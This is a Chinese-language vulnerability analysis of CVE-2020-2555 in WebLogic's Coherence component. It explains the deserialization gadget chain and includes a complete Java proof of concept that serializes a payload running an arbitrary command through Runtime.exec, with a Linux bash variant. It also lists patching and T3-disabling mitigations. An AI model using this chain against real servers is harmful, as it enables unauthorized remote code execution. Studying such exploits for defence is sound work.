Weblogic Coherence组件漏洞初探CVE-2020-2555
字数 1098 2025-08-05 00:15:46
WebLogic Coherence组件漏洞分析(CVE-2020-2555)技术文档
1. 漏洞概述
CVE-2020-2555是Oracle WebLogic Server中Coherence组件的一个反序列化远程代码执行漏洞。攻击者可通过构造特殊的T3协议请求,在未授权情况下获取WebLogic服务器权限并执行任意命令。
2. 影响版本
- Oracle Coherence 3.7.1.17
- Oracle Coherence & WebLogic 12.1.3.0.0
- Oracle Coherence & WebLogic 12.2.1.3.0
- Oracle Coherence & WebLogic 12.2.1.4.0
注意:WebLogic 10.3.6.0版本虽然默认自带Coherence 3.7,但未启用该组件,因此不受影响。
3. 漏洞分析环境
- WebLogic 12.1.3版本
- 远程调试环境配置
- 将Coherence目录打包并导入IDE(如IntelliJ IDEA)
4. 漏洞原理分析
4.1 关键类与链式调用
ValueExtractor接口
所有实现此接口的类都包含extract方法,这是整个调用链的关键方法。
ReflectionExtractor类
实现ValueExtractor接口,其extract方法通过反射调用指定方法:
public Object extract(Object target) {
return ClassHelper.invoke(target, this.m_methodName, this.m_aoParam);
}
示例构造Runtime.getRuntime()调用:
ReflectionExtractor reflectionExtractor = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
);
Object extract = reflectionExtractor.extract(Runtime.class);
ChainedExtractor类
同样实现ValueExtractor接口,其extract方法遍历执行ValueExtractor数组:
public Object extract(Object target) {
Object result = target;
for(int i = 0; i < this.m_aExtractor.length; ++i) {
result = this.m_aExtractor[i].extract(result);
}
return result;
}
示例构造命令执行链:
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
chainedExtractor.extract(Runtime.class);
4.2 触发点分析
LimitFilter#toString方法
该方法调用了extract方法:
public String toString() {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
return "LimitFilter: " + extractor.extract(this.m_oAnchorTop);
}
触发条件:
this.m_comparator设置为ChainedExtractor实例this.m_oAnchorTop设置为Runtime.class
BadAttributeValueExpException类
在反序列化过程中,其readObject方法会调用valObj.toString():
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
// ...
val = valObj.toString();
}
5. 完整调用链
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()
6. POC构造
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
public class POC {
public static void main(String[] args) throws Exception {
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
// Linux系统使用: new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
LimitFilter limitFilter = new LimitFilter();
BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null);
// 设置m_comparator为chainedExtractor
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
// 设置m_oAnchorTop为Runtime.class
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
// 设置BadAttribute的val为limitFilter
Field val = badAttribute.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttribute, limitFilter);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("poc.ser"));
oos.writeObject(badAttribute);
oos.close();
// 反序列化触发漏洞
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("poc.ser"));
ois.readObject();
ois.close();
}
}
7. 修复方案
-
临时解决方案:
- 禁用WebLogic T3协议
-
官方补丁:
- 安装Oracle官方发布的安全更新补丁
8. 注意事项
- 不同WebLogic版本中的Coherence组件可能有所不同,导致POC构造无法通用
- 实际利用时需要通过T3协议发送序列化数据
- 测试环境建议使用WebLogic 12.1.3版本进行调试分析